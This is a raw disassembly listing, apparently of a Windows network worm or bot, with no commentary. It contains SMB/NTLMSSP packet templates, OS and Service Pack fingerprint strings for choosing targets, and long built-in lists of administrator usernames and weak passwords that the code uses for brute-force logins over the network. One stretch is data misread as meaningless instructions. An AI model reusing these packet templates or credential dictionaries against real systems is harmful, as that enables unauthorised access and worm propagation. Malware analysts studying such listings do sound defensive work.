dword_43C528	dd 6DD72000h, 0FF0Ch, 2FFDF00h,	100h, 0AF000000h, 0
					; DATA XREF: sub_404525+36Eo
		dd 0D05C00h, 0A100D280h, 8130AC81h, 0A681A2A9h,	4EA38104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 12000000h, 70001200h, 0
		dd 82000000h, 20000000h, 82002000h, 0
		dd 0A2000000h, 1000000h, 0ED000802h, 778839B7h,	0BE16D7h
		dd 3 dup(0)
		db    0
		db 2 dup(0), 42h
		db 0AEh	; ®
		db 0B7h, 1Fh, 0BBh
		db  6Dh	; m
		db 0C1h, 84h, 99h
		db    1
aKXEcTijW	db 'k',8,'±xºeC',0Ah
		db 'ÓšâI†)W',0
		dd offset byte_52004F
		dd offset byte_47004B
		dd offset word_4F0052
		dd offset byte_500055
		dd offset dword_51006C
		db 50h,	0, 78h
		db    0
		db 66h,	0, 32h
		db    0
		dd offset byte_530049
		dd offset byte_670051
		dd offset byte_560045
		dd offset byte_620031
		dd offset byte_4B0047
		align 2
aWindows2000219	db 'Windows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 10h
dword_43C620	dd 6B000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
					; DATA XREF: sub_404525+3B2o
		dd 0C0750000h, 6DD70000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
		dd 40000000h, 2E000000h, 4F570000h, 52474B52h, 50554Fh
aWindows20002_0	db 'Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		align 10h
dword_43C690	dd 37000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
					; DATA XREF: sub_404525+3FFo
		dd 0C0750000h
dword_43C6B0	dd 6DD72001h, 0FF04h, 1000000h,	0C00h, 24435049h, 3F3F3F00h
					; DATA XREF: sub_404525+3EFo
		dd 3F3Fh, 0
dword_43C6D0	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_404525+4D1o
					; sub_404525+6D3o
dword_43C6EC	dd 4780800h						; sub_404525+6B3o
dword_43C6F0	dd 400800h, 0DE00FF18h,	800DEh,	16h, 0					; sub_404525+6C3o
		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 5C000903h, 574F5242h, 524553h, 2 dup(0)
dword_43C738	dd 5B000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_404525+468o
dword_43C754	dd 4780800h	dword_43C758	dd 400800h, 0DE00FF18h,	700DEh,	16h, 0		dd 2019Fh, 4 dup(0)
		dd 1, 40h, 2, 5C000803h, 53565253h, 4356h
dword_43C798	dd 3F020000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_404525+54Do
					; sub_404525+74Fo
dword_43C7B4	dd 4780800h						; sub_404525+71Co
dword_43C7B8	dd 400800h, 0FF0Eh					; sub_404525+72Co
		db 0
byte_43C7C1	db 0, 40h, 0		; DATA XREF: sub_404525+53Ao
					; sub_404525+73Co
		dd 0FF000000h, 8FFFFFFh, 20000h, 3F020000h, 0
		dd 5020000h, 10030B00h,	0
		dd 2, 0D0000000h, 16D016h, 0B000000h, 0
		dd 84000100h, 1FB33323h, 2C0E9508h, 0C32C304Ah,	1830708h
		dd 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
		dd 1000000h, 0BE000100h, 54A71E0Eh, 91E02161h, 23E45A04h
		dd 2D082E6h, 4000300h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h
		dd 2604810h, 2000000h, 0E9000100h, 0E77F4FDFh, 0A54D6B2Bh
		dd 833CAAD4h, 0A10315h,	4000200h, 0EB8A885Dh, 9F11C91Ch
		dd 2B0008E8h, 2604810h,	3000000h, 0AD000100h, 19D89A50h
		dd 1CF35CB9h, 0AD534199h, 175601Eh, 4000000h, 0EB8A885Dh
		dd 9F11C91Ch, 2B0008E8h, 2604810h, 4000000h, 97000100h
		dd 409F7E21h, 0D7BEC99Eh, 0F1B0A4EBh, 595FE37h,	4000300h
		dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 5000000h
		dd 0FD000100h, 858B52C8h, 8B3A74CCh, 30E02915h,	216ACCDh
		dd 4000100h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
		dd 6000000h, 5B000100h,	0E19ACBDEh, 1F728325h, 92A2A310h
		dd 7636E7h, 4000200h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h
		dd 2604810h, 7000000h, 74000100h, 9C0CDF4h, 0BEF37F2Dh
		dd 0C3573B8h, 1685206h,	4000000h, 0EB8A885Dh, 9F11C91Ch
		dd 2B0008E8h, 2604810h,	8000000h, 0E5000100h, 0E1EA256Ch
		dd 4AC21B8Ah, 29885617h, 106C3EEh, 4000200h, 0EB8A885Dh
		dd 9F11C91Ch, 2B0008E8h, 2604810h, 9000000h, 26000100h
		dd 4D7D7050h, 7BAF8288h, 0EA1D963Dh, 29A17EBh, 4000100h
		dd 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h, 0A000000h
		dd 0C8000100h, 704B324Fh, 1201D316h, 0BF475A78h, 388E16Eh
		dd 4000000h, 0EB8A885Dh, 9F11C91Ch, 2B0008E8h, 2604810h
		dd 2 dup(0)
dword_43C9E0	dd 3B000000h, 424D53FFh, 2Eh, 20011800h, 3 dup(0)
					; DATA XREF: sub_404525+5BDo
					; sub_404525+66Do ...
dword_43C9FC	dd 4780800h						; sub_404525+78Fo
dword_43CA00	dd 400800h, 0FF0Ah					; sub_404525+79Fo
		db 0
byte_43CA09	db 0, 40h, 0		; DATA XREF: sub_404525+5ADo
					; sub_404525+7AFo
		dd 80000000h, 0FFBB80BBh, 0FFFFFFh, 2 dup(0)
dword_43CA20	dd 0A3000000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_404525+630o
dword_43CA3C	dd 4780800h	dword_43CA40	dd 400800h, 0FF0Eh		db 0
byte_43CA49	db 0, 40h, 16h		; DATA XREF: sub_404525+61Do
		dd 0FF000000h, 8FFFFFFh, 6400h,	3F006400h, 0
		dd 5006400h, 10030000h,	64000000h, 0
		dd 4C000000h, 0A000000h, 1B002200h, 745AB37h, 0
		dd 7000000h, 69000000h,	48004600h, 6C006E00h, 4E00h, 0A000000h
		dd 0
		dd 0A000000h, 6B000000h, 44007600h, 76007300h, 70004300h
		dd 71005400h, 1000000h,	0FAh, 2	dup(0)
dword_43CAC8	dd 6F000000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_404525+82Fo
dword_43CAE4	dd 304F0800h	dword_43CAE8	dd 7C540801h, 0FF0Eh		db 0
byte_43CAF1	db 1, 40h, 49h		; DATA XREF: sub_404525+81Fo
		dd 0FF000001h, 8FFFFFFh, 3000h,	3F003000h, 0
		dd 5003000h, 10030000h,	30000000h, 0
		dd 18000000h, 0A000000h, 35001C00h, 3329DE9h, 0
		dd 3000000h, 4B000000h,	4700h, 0
dword_43CB3C	dd 65706970h, 6D70655Ch, 65707061h, 72hdword_43CB4C	dd 73255C5Ch, 5Ch					; sub_4097B9+18Fo ...
dword_43CB54	dd 646E6957h, 2073776Fh, 302E35haWindows2000Lan	db 'Windows 2000 LAN Manager*',0 ; DATA XREF: sub_404525+A29o
		align 4
aWindowsServer2	db 'Windows Server 2003 *.*',0 ; DATA XREF: sub_404525+A0Ao
aSamba		db 'Samba *',0          ; DATA XREF: sub_404525+237o
aWindows5_1	db 'Windows 5.1',0      ; DATA XREF: sub_404525+21Do
					; sub_404525+349o
aNtLanManager_	db 'NT LAN Manager *.*',0 ; DATA XREF: sub_404525+1E7o
		align 4
aServicePack2	db '*Service Pack 2*',0 ; DATA XREF: sub_404525+1C5o
		align 10h
aServicePack1	db '*Service Pack 1*',0 ; DATA XREF: sub_404525+1AAo
		align 8
off_43CBE8	dd offset byte_454A54	; DATA XREF: sub_4059BF+188r
					; sub_4059BF+190o
		dd offset aAdministrator ; "Administrator"
		dd offset aAdmin	; "Admin"
		dd offset aAdministrador ; "Administrador"
		dd offset aAdministrateur ; "Administrateur"
		dd offset aAdministrada	; "Administrada"
		dd offset aAdministratoro ; "Administratoro"
		dd offset aAdministrado_0 ; "Administrador'"
		dd offset aAdministratore ; "Administratore"
		dd offset aAdministratori ; "Administratori"
		dd offset aAdministration ; "Administration"
		dd offset aAdministrators ; "Administrators"
		dd offset dword_43DD3C
		dd offset dword_43DD2C
		dd offset aAdministracion ; "Administracion"
		dd offset aBeheerder	; "Beheerder"
		dd offset aRendszergazda ; "Rendszergazda"
		dd offset aVerwalter	; "Verwalter"
		dd offset aHallintovirkai ; "Hallintovirkailijat"
		dd offset aAmministratore ; "Amministratore"
		dd offset aContgenerale	; "Contgenerale"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aDefault_0	; "Default"
		dd offset aDefault_1	; "default"
		dd offset aServer	; "Server"
		dd offset aUtilizador	; "Utilizador"
		dd offset aServidor	; "Servidor"
		dd offset aServeur	; "serveur"
		dd offset aManager	; "manager"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aAdm		; "adm"
		dd offset aAdmins	; "admins"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aAdmin1	; "Admin1"
		dd offset aOwner	; "owner"
		dd offset aRoot		; "root"
		dd offset aApacheServer	; "apache server"
		dd offset aHttpd	; "httpd"
		dd offset aStandard	; "Standard"
		dd offset aMaster	; "master"
		dd offset aThomas	; "thomas"
		dd offset aArsenal	; "arsenal"
		dd offset aMonkey	; "monkey"
		dd offset aCharlie	; "charlie"
		dd offset aLiverpool	; "liverpool"
		dd offset aLuna		; "luna"
		dd offset aRdp		; "rdp"
		dd offset aAsp_net	; "ASP.NET"
		dd offset a01		; "01"
		dd offset a02		; "02"
		dd offset a03		; "03"
		dd offset a04		; "04"
		dd offset a05		; "05"
		dd offset aBlah		; "blah"
		dd offset aClient	; "Client"
		dd offset aClient01	; "Client01"
		dd offset aClient02	; "Client02"
		dd offset aClient03	; "Client03"
		dd offset aClient04	; "Client04"
		dd offset aClient05	; "Client05"
		dd offset aBillGates	; "bill	gates"
		dd offset aDivx		; "DiVX"
		dd offset aDivxServer	; "DiVX-SERVER"
		dd offset aExploited	; "exploited"
		dd offset dword_43DB48
		dd offset off_43DB44
		dd offset aGameServer	; "game	server"
		dd offset aGameserver	; "gameserver"
		dd offset aSudo		; "sudo"
		dd offset aBox		; "box"
		dd offset aBox1		; "box1"
		dd offset aBox2		; "box2"
		dd offset aBox3		; "box3"
		dd offset aBox4		; "box4"
		dd offset aBox5		; "box5"
		dd offset aGuest	; "guest"
		dd offset a31337	; "31337"
		dd offset a@_5		; "!@"
		dd offset a@_4		; "!@#"
		dd offset a@_3		; "!@#$"
; ---------------------------------------------------------------------------
		rcr	dl, 1
		inc	ebx
		add	al, cl
		fiadd	dword ptr [ebx+0]
		rcr	dl, 43h
		add	[eax-4FFFBC26h], bh
		fiadd	dword ptr [ebx+0]
		lodsb
		fiadd	dword ptr [ebx+0]
		test	al, 0DAh
		inc	ebx
		add	[edx+ebx*8-255FFFBDh], ah
		inc	ebx
		add	[edx+ebx*8-2567FFBDh], bl
		inc	ebx
		add	[eax-7BFFBC26h], dl
		fiadd	dword ptr [ebx+0]
		sbb	dl, 43h
		add	[eax-26h], bh
		inc	ebx
		add	[eax-26h], dh
		inc	ebx
		add	[edx+ebx*8+43h], ch
		add	[eax-26h], ch


loc_43CD6E:				; CODE XREF: .text:0043CD90j
		inc	ebx
		add	[edx+ebx*8+43h], ah
		add	[edx+ebx*8+43h], bl
		add	[eax-26h], bl
		inc	ebx
		add	[eax-26h], dl
		inc	ebx
		add	[eax-26h], al
		inc	ebx
		add	[eax], bh
		fiadd	dword ptr [ebx+0]
		xor	dl, bl
		inc	ebx
		add	[eax], ch
		fiadd	dword ptr [ebx+0]
		js	short loc_43CD6E
		inc	ebx
		add	[edx+ebx*8], bl
		inc	ebx
		add	[eax], dl
		fiadd	dword ptr [ebx+0]
		or	dl, bl
		inc	ebx
; ---------------------------------------------------------------------------
		db 0
		dd offset aAccount	; "account"
		dd offset aAccounting	; "accounting"
		dd offset aProftpd	; "proftpd"
		dd offset aFtpd		; "ftpd"
		dd offset aWarftpd	; "warftpd"
		dd offset aLighthttpd	; "lightHTTPD"
		dd offset aSlimftp	; "slimftp"
		dd offset aServU	; "serv-u"
		dd offset aServUFtp	; "Serv-U FTP"
		dd offset aProfessional	; "Professional"
		dd offset aPc01		; "pc01"
		dd offset aPc02		; "pc02"
		dd offset aPc03		; "pc03"
		dd offset aPc04		; "pc04"
		dd offset aPc05		; "pc05"
		dd offset aBoss		; "BOSS"
		dd offset off_43D970
		dd offset aFormationplus ; "FormationPLUS"
		dd offset dword_43D954
		dd offset aWww		; "www"
		dd offset aWebserver	; "webserver"
		dd offset asc_43D940	; "X"
		dd offset aY		; "y"
		dd offset aXxxxxx	; "xxxxxx"
		dd 2 dup(0)
off_43CE08	dd offset byte_454A54	; DATA XREF: sub_405965+3r
					; sub_405965+Fo
		dd offset asc_43D938	; " "
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrador ; "Administrador"
		dd offset aAdministrateur ; "Administrateur"
		dd offset aAdministrada	; "Administrada"
		dd offset aAdministratoro ; "Administratoro"
		dd offset aAdministrado_0 ; "Administrador'"
		dd offset aAdministratore ; "Administratore"
		dd offset aAdministratori ; "Administratori"
		dd offset aAdministration ; "Administration"
		dd offset aAdministrators ; "Administrators"
		dd offset aAdmin_1	; "admin"
		dd offset aAdmin123	; "admin123"
		dd offset aAccess	; "Access"
		dd offset aAdministrato_0 ; "administrator"
		dd offset dword_43DD3C
		dd offset dword_43DD2C
		dd offset aAdministracion ; "Administracion"
		dd offset aBeheerder	; "Beheerder"
		dd offset aRendszergazda ; "Rendszergazda"
		dd offset aVerwalter	; "Verwalter"
		dd offset aHallintovirk_0 ; "hallintovirkailijat"
		dd offset aAmministratore ; "Amministratore"
		dd offset aManager	; "manager"
		dd offset aContgenerale	; "Contgenerale"
		dd offset aDefault_0	; "Default"
		dd offset aStandard	; "Standard"
		dd offset aUtilizador	; "Utilizador"
		dd offset aOwner	; "owner"
		dd offset aSystem_0	; "SYSTEM"
		dd offset aThomas	; "thomas"
		dd offset aArsenal	; "arsenal"
		dd offset aMonkey	; "monkey"
		dd offset aCharlie	; "charlie"
		dd offset aAdm		; "adm"
		dd offset aAdmins	; "admins"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aAdmin1	; "Admin1"
		dd offset aSudo		; "sudo"
		dd offset aLiverpool	; "liverpool"
		dd offset aBoss		; "BOSS"
		dd offset aDivx		; "DiVX"
		dd offset aDivxServer	; "DiVX-SERVER"
		dd offset off_43DA58
		dd offset aDell		; "Dell"
		dd offset aCompaqblah	; "Compaqblah"
		dd offset aMaster	; "master"
		dd offset aMailserver	; "mailserver"
		dd offset aAspnet	; "aspnet"
		dd offset aAspnet69	; "aspnet69"
		dd offset a31337	; "31337"
		dd offset a01		; "01"
		dd offset a02		; "02"
		dd offset a03		; "03"
		dd offset a04		; "04"
		dd offset a05		; "05"
		dd offset aBox		; "box"
		dd offset aBox1		; "box1"
		dd offset aBox2		; "box2"
		dd offset aBox3		; "box3"
		dd offset aBox4		; "box4"
		dd offset aBox5		; "box5"
		dd offset dword_43AB88
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxx_0	; "xXx"
		dd offset a@_3		; "!@#$"
		dd offset a@_2		; "!@#$%"
		dd offset a@_1		; "!@#$%^"
		dd offset a@_0		; "!@#$%^&"
		dd offset a@		; "!@#$%^&*"
		dd offset asc_43D8AC	; "%"
		dd offset asc_43D8A8	; "%%"
		dd offset asc_43D8A4	; "%%%"
		dd offset asc_43D89C	; "%%%%"
		dd offset asc_43D894	; "%%%%%"
		dd offset dword_43A30C
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a007		; "007"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1		; "1"
		dd offset a110		; "110"
		dd offset a111		; "111"
		dd offset a111		; "111"
		dd offset a111111	; "111111"
		dd offset a11111111	; "11111111"
		dd offset a11111111	; "11111111"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a88888888	; "88888888"
		dd offset a31337	; "31337"
		dd offset aPc01		; "pc01"
		dd offset aPc02		; "pc02"
		dd offset aPc03		; "pc03"
		dd offset aPc04		; "pc04"
		dd offset aPc05		; "pc05"
		dd offset aBoss		; "BOSS"
		dd offset aAussie	; "aussie"
		dd offset dword_43DAAC
		dd offset off_43DAA8
		dd offset aAaaa		; "AAAA"
		dd offset aAsdf		; "asdf"
		dd offset aAbcd		; "abcd"
		dd offset off_43D750
		dd offset aAbc123	; "abc123"
		dd offset aAbcd		; "abcd"
		dd offset aAccount?	; "account?"
		dd offset aAccounting	; "accounting"
		dd offset aAnything	; "anything"
		dd offset aApache	; "apache"
		dd offset aBillGates	; "bill	gates"
		dd offset aBillgates	; "billgates"
		dd offset aChange	; "change"
		dd offset aChangethis	; "changethis"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "changeme!"
		dd offset aCustomer	; "customer"
		dd offset aClient	; "Client"
		dd offset aClient01	; "Client01"
		dd offset aClient02	; "Client02"
		dd offset aClient03	; "Client03"
		dd offset aClient04	; "Client04"
		dd offset aClient05	; "Client05"
		dd offset aClosed_0	; "closed!"
		dd offset aClosed	; "closed"
		dd offset aDefaultpass	; "defaultpass"
		dd offset aDaemon_0	; "daemon"
		dd offset aDatabase	; "database"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDave		; "dave"
		dd offset aDead		; "dead"
		dd offset aDesktop	; "desktop"
		dd offset aDb1234	; "db1234"
		dd offset aDbpass	; "dbpass"
		dd offset aDefault_1	; "default"
		dd offset aExploited	; "exploited"
		dd offset off_43D680
		dd offset aSmbpass	; "smbpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aE_0		; "e"
		dd offset dword_43D664
		dd offset off_43D660
		dd offset aEducation	; "education"
		dd offset aFucked	; "fucked"
		dd offset aFuckyou	; "fuckyou"
		dd offset aGuess	; "guess"
		dd offset aGuessme	; "guessme"
		dd offset aGuest	; "guest"
		dd offset aHacked	; "hacked"
		dd offset aHax		; "hax"
		dd offset aLetmein	; "letmein"
		dd offset aL337		; "l337"
		dd offset aL33t		; "l33t"
		dd offset aLinux	; "linux"
		dd offset aUnix		; "Unix"
		dd offset aLogin	; "login"
		dd offset aLocal	; "LOCAL"
		dd offset aLoginpass	; "loginpass"
		dd offset aMyvnc	; "myvnc"
		dd offset aMs_user	; "MS_USER"
		dd offset aMicrosoft	; "microsoft"
		dd offset aMachine	; "machine"
		dd offset aMs		; "MS"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aM_3		; "M$"
		dd offset aMysql	; "mysql"
		dd offset aMssql	; "mssql"
		dd offset aMyvps	; "myvps"
		dd offset aMypc		; "mypc"
		dd offset aNull_1	; "NULL"
		dd offset aOwn		; "own"
		dd offset aOwned	; "owned"
		dd offset aOwner	; "owner"
		dd offset aPass_1	; "pass"
		dd offset aPass123	; "pass123"
		dd offset aPass1234	; "pass1234"
		dd offset aPasswd	; "passwd"
		dd offset aPassword	; "password"
		dd offset aPassword_0	; "PASSWORD"
		dd offset aPassword_1	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aPassword123	; "password123"
		dd offset aPw		; "pw"
		dd offset aPw123	; "pw123"
		dd offset off_43D508
		dd offset aQ		; "q"
		dd offset aQaz		; "qaz"
		dd offset off_43D504
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aBlink182	; "blink182"
		dd offset aRdp		; "rdp"
		dd offset aR00t		; "r00t"
		dd offset aRemote	; "remote"
		dd offset aRoot		; "root"
		dd offset aRooted	; "rooted"
		dd offset aTest		; "Test"
		dd offset aTest123	; "test123"
		dd offset aTester	; "tester"
		dd offset aTesting	; "testing"
		dd offset aTrojan	; "trojan"
		dd offset aUser1	; "user1"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUserpass	; "userpass"
		dd offset aSa		; "sa"
		dd offset aSchool	; "school"
		dd offset aSecurity	; "security"
		dd offset aSupport	; "support"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSecret	; "secret"
		dd offset aSecrets	; "secrets"
		dd offset aSlave	; "slave"
		dd offset aStudents	; "students"
		dd offset aServidor	; "Servidor"
		dd offset aServeur_0	; "Serveur"
		dd offset aServer	; "Server"
		dd offset aSql		; "sql"
		dd offset aSqlpass	; "sqlpass"
		dd offset off_43D40C
		dd offset off_43D970
		dd offset aVirus	; "virus"
		dd offset dword_43D400
		dd offset off_43D3FC
		dd offset aWin2kpro	; "Win2KPro"
		dd offset aWindose	; "windose"
		dd offset aWindows	; "windows"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindows95	; "windows95"
		dd offset aWindows98	; "windows98"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindoze	; "windoze"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindoze95	; "windoze95"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindozexp	; "windozexp"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinnt	; "winnt"
		dd offset aWinpass	; "winpass"
		dd offset aWinston	; "winston"
		dd offset aWinxp	; "winxp"
		dd offset aWired	; "wired"
		dd offset aWin		; "win"
		dd offset aWinxp	; "winxp"
		dd offset aWin2k	; "win2k"
		dd offset aWindows	; "windows"
		dd offset aWww		; "www"
		dd offset dword_43AB88
		dd offset aY		; "y"
		dd offset aXp_0		; "xp"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aYxcv		; "yxcv"
		dd offset dword_43D2C4
		dd offset off_43D2C0
		dd offset aZxcv		; "zxcv"
		align 8
aZxcv		db 'zxcv',0             ; DATA XREF: .text:0043D2B0o
		align 10h
off_43D2C0	dd offset word_63787A	; DATA XREF: .text:0043D2ACo
dword_43D2C4	dd 70617Ah	aYxcv		db 'yxcv',0             ; DATA XREF: .text:0043D2A4o
		align 10h
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .text:0043D2A0o
		align 10h
aXyzzy		db 'xyzzy',0            ; DATA XREF: .text:0043D29Co
		align 4
aXyz		db 'xyz',0              ; DATA XREF: .text:0043D298o
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .text:0043D294o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .text:0043D290o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .text:0043D28Co
aXxxxx		db 'xxxxx',0            ; DATA XREF: .text:0043D284o
		align 4
aXx		db 'xx',0               ; DATA XREF: .text:0043D278o
		align 4
aXp_0		db 'xp',0               ; DATA XREF: sub_40A9FE+8D06o
					; sub_40A9FE+8E80o ...
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .text:0043D260o
		align 4
aWin		db 'win',0              ; DATA XREF: .text:0043D258o
aWired		db 'wired',0            ; DATA XREF: .text:0043D254o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .text:0043D250o
					; .text:0043D25Co
		align 4
aWinston	db 'winston',0          ; DATA XREF: .text:0043D24Co
aWinpass	db 'winpass',0          ; DATA XREF: .text:0043D248o
aWinnt		db 'winnt',0            ; DATA XREF: .text:0043D244o
		align 10h
aWing		db 'wing',0             ; DATA XREF: .text:0043D240o
		align 4
aWine		db 'wine',0             ; DATA XREF: .text:0043D23Co
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: .text:0043D238o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: .text:0043D234o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .text:0043D230o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .text:0043D22Co
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .text:0043D228o
		align 4
aWindoze	db 'windoze',0          ; DATA XREF: .text:0043D224o
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .text:0043D220o
		align 10h
aWindowsme	db 'windowsME',0        ; DATA XREF: .text:0043D21Co
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: .text:0043D218o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .text:0043D214o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: .text:0043D210o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: .text:0043D20Co
					; .text:0043D264o
aWindose	db 'windose',0          ; DATA XREF: .text:0043D208o
aWin2kpro	db 'Win2KPro',0         ; DATA XREF: .text:0043D204o
		align 4
off_43D3FC	dd offset word_636E66	; DATA XREF: .text:0043D200o
dword_43D400	dd 737076h	aVirus		db 'virus',0            ; DATA XREF: .text:0043D1F8o
		align 4
off_43D40C	dd offset loc_415353+2	; DATA XREF: .text:0043D1F0o
aSqlpass	db 'sqlpass',0          ; DATA XREF: .text:0043D1ECo
aSql		db 'sql',0              ; DATA XREF: .text:0043D1E8o
aServeur_0	db 'Serveur',0          ; DATA XREF: .text:0043D1E0o
aStudents	db 'students',0         ; DATA XREF: .text:0043D1D8o
		align 10h
aSlave		db 'slave',0            ; DATA XREF: .text:0043D1D4o
		align 4
aSecrets	db 'secrets',0          ; DATA XREF: .text:0043D1D0o
aSecret		db 'secret',0           ; DATA XREF: .text:0043D1CCo
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: .text:0043D1C8o
		align 4
aSupport	db 'support',0          ; DATA XREF: .text:0043D1C4o
aSecurity	db 'security',0         ; DATA XREF: sub_40A9FE+BB2o
					; sub_41EBE9+1Fo ...
		align 4
aSchool		db 'school',0           ; DATA XREF: .text:0043D1BCo
		align 10h
aSa		db 'sa',0               ; DATA XREF: .text:0043D1B8o
		align 4
aUserpass	db 'userpass',0         ; DATA XREF: .text:0043D1B4o
		align 10h
aUsername	db 'username',0         ; DATA XREF: .text:0043D1B0o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: .text:0043D1ACo
		align 4
aUser1		db 'user1',0            ; DATA XREF: .text:0043D1A8o
		align 10h
aTrojan		db 'trojan',0           ; DATA XREF: .text:0043D1A4o
		align 4
aTesting	db 'testing',0          ; DATA XREF: .text:0043D1A0o
aTester		db 'tester',0           ; DATA XREF: .text:0043D19Co
		align 4
aTest123	db 'test123',0          ; DATA XREF: .text:0043D198o
aTest		db 'Test',0             ; DATA XREF: .text:0043D194o
		align 4
aRooted		db 'rooted',0           ; DATA XREF: .text:0043D190o
		align 10h
aRemote		db 'remote',0           ; DATA XREF: .text:0043D188o
		align 4
aR00t		db 'r00t',0             ; DATA XREF: .text:0043D184o
		align 10h
aBlink182	db 'blink182',0         ; DATA XREF: .text:0043D17Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .text:0043D178o
					; .text:0043EE28o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .text:0043D174o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .text:0043D170o
		align 4
off_43D504	dd offset byte_657771	; DATA XREF: .text:0043D16Co
off_43D508	dd offset dword_647770	; DATA XREF: .text:0043D160o
aPw123		db 'pw123',0            ; DATA XREF: .text:0043D15Co
		align 4
aPw		db 'pw',0               ; DATA XREF: .text:0043D158o
		align 4
aPassword123	db 'password123',0      ; DATA XREF: .text:0043D154o
aPassword1	db 'password1',0        ; DATA XREF: .text:0043D150o
		align 10h
aPassword_1	db 'Password',0         ; DATA XREF: .text:0043D14Co
		align 4
aPassword_0	db 'PASSWORD',0         ; DATA XREF: .text:0043D148o
		align 4
aPassword	db 'password',0         ; DATA XREF: .text:0043D144o
					; .text:0043EE04o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .text:0043D140o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .text:0043D13Co
		align 4
aPass123	db 'pass123',0          ; DATA XREF: .text:0043D138o
aPass_1		db 'pass',0             ; DATA XREF: .text:0043D134o
					; .text:0043EE20o
		align 4
aOwned		db 'owned',0            ; DATA XREF: .text:0043D12Co
		align 10h
aOwn		db 'own',0              ; DATA XREF: .text:0043D128o
aNull_1		db 'NULL',0             ; DATA XREF: .text:0043D124o
		align 4
